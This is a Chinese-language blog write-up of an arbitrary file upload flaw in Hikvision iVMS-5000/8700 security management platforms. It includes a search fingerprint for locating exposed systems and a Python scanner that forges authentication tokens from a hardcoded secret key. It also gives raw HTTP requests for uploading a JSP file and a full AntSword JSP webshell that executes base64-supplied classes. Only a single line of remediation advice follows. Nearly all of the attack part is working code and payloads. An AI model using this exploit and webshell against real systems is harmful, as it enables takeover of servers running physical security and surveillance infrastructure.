海康威视iVMS综合安防系统任意文件上传漏洞复现(0day)

0x01 产品简介

        海康威视iVMS集中监控应用管理平台,是以安全防范业务应用为导向,以视频图像应用为基础手段,综合视频监控、联网报警、智能分析、运维管理等多种安全防范应用系统,构建的多业务应用综合管理平台。

0x02 漏洞概述

    海康威视iVMS系统存在在野 0day 漏洞,攻击者通过获取密钥任意构造token,请求/resourceOperations/upload接口任意上传文件,导致获取服务器webshell权限,同时可远程进行恶意代码执行。

0x03 影响范围

海康威视综合安防系统iVMS-5000

海康威视综合安防系统 iVMS-8700

0x04 复现环境

鹰图指纹:web.body="/views/home/file/installPackage.rar"

海康威视iVMS综合安防系统任意文件上传漏洞复现(0day)_第1张图片

0x05 漏洞复现 

检测脚本PoC:https://github.com/sccmdaveli/hikvision-poc

import requests
import urllib3
import urllib
import hashlib
import argparse
from colorama import init
from colorama import Fore
init(autoreset=True)
urllib3.disable_warnings()


head = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36",
    "Cookie": "ISMS_8700_Sessionname=ABCB193BD9D82CC2D6094F6ED4D81169"
}
def md5encode(url):
    if url.endswith("/"):
        path = "eps/api/resourceOperations/uploadsecretKeyIbuilding"
    else:
        path = "/eps/api/resourceOperations/uploadsecretKeyIbuilding"
    encodetext = url + path
    input_name = hashlib.md5()
    input_name.update(encodetext.encode("utf-8"))
    return (input_name.hexdigest()).upper()

def poc(url):
    if url.endswith("/"):
        path = "eps/api/resourceOperations/upload?token="
    else:
        path = "/eps/api/resourceOperations/upload?token="
    pocurl = url + path + md5encode(url)
    data = {
        "service": urllib.parse.quote(url + "/home/index.action")
    }
    try:
        response = requests.post(url=pocurl,headers=head,data=data,verify=False,timeout=3)
        if response.status_code==200:
            print(Fore.GREEN + f"[+]{url}存在海康威视iVMS 综合安防任意文件上传漏洞!!!!")
        else:
            print(Fore.RED + f"[-]{url}不存在海康威视iVMS 综合安防任意文件上传漏洞")
    except:
        pass

if __name__ == '__main__':
    parser = argparse.ArgumentParser(usage='python3 ivms.py -u http://xxxx\npython3 ivms.py -f file.txt',
                                     description='ivms漏洞检测poc',
                                     )
    p = parser.add_argument_group('ivms 的参数')
    p.add_argument("-u", "--url", type=str, help="测试单条url")
    p.add_argument("-f", "--file", type=str, help="测试多个url文件")
    args = parser.parse_args()
    if args.url:
        poc(args.url)
    if args.file:
        for i in open(args.file,"r").read().split("\n"):
            poc(i)

使用方式:

单个url检测:

python3 ivms-poc.py -u url

多个url检测:

python3 ivms-poc.py -f file.txt

 效果:

52b4b8a214974b41ada8b7ef49b03f8e.png

手动复现 

漏洞url:/eps/api/resourceOperations/upload

bp抓取首页包,尝试访问接口(发现token需要进行鉴权)

海康威视iVMS综合安防系统任意文件上传漏洞复现(0day)_第2张图片

POST /eps/api/resourceOperations/upload HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://you-ip
Connection: close
Cookie: ISMS_8700_Sessionname=7634604FBE659A8532E666FE4AA41BE9
Upgrade-Insecure-Requests: 1
Content-Length: 62

service=http%3A%2F%2Fx.x.x.x%3Ax%2Fhome%2Findex.action

构造token绕过认证  (内部机制:如果token值与请求url+secretkey的md5值相同就可以绕过认证)

secretkey是代码里写死的(默认值:secretKeyIbuilding)

token值需要进行MD5加密(32位大写)

组合:token=MD5(url+"secretKeyIbuilding")

海康威视iVMS综合安防系统任意文件上传漏洞复现(0day)_第3张图片

重新验证

海康威视iVMS综合安防系统任意文件上传漏洞复现(0day)_第4张图片

 可以看到,成功绕过

构造文件上传payload

POST /eps/api/resourceOperations/upload?token=构造的token值 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: ISMS_8700_Sessionname=A29E70BEA1FDA82E2CF0805C3A389988
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryGEJwiloiPo
Upgrade-Insecure-Requests: 1
Content-Length: 174

------WebKitFormBoundaryGEJwiloiPo
Content-Disposition: form-data; name="fileUploader";filename="1.jsp"
Content-Type: image/jpeg

test
------WebKitFormBoundaryGEJwiloiPo

海康威视iVMS综合安防系统任意文件上传漏洞复现(0day)_第5张图片

显示上传成功且返回了resourceUuid值

验证路径:http://url/eps/upload/resourceUuid的值.jsp

海康威视iVMS综合安防系统任意文件上传漏洞复现(0day)_第6张图片

0x06 漏洞利用

直接上传蚁剑jsp马子

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

海康威视iVMS综合安防系统任意文件上传漏洞复现(0day)_第7张图片

上传成功,尝试连接

海康威视iVMS综合安防系统任意文件上传漏洞复现(0day)_第8张图片

 0x07 修复建议

      关闭互联网暴露面访问的权限,文件上传模块做好权限强认证

 

 

 

 

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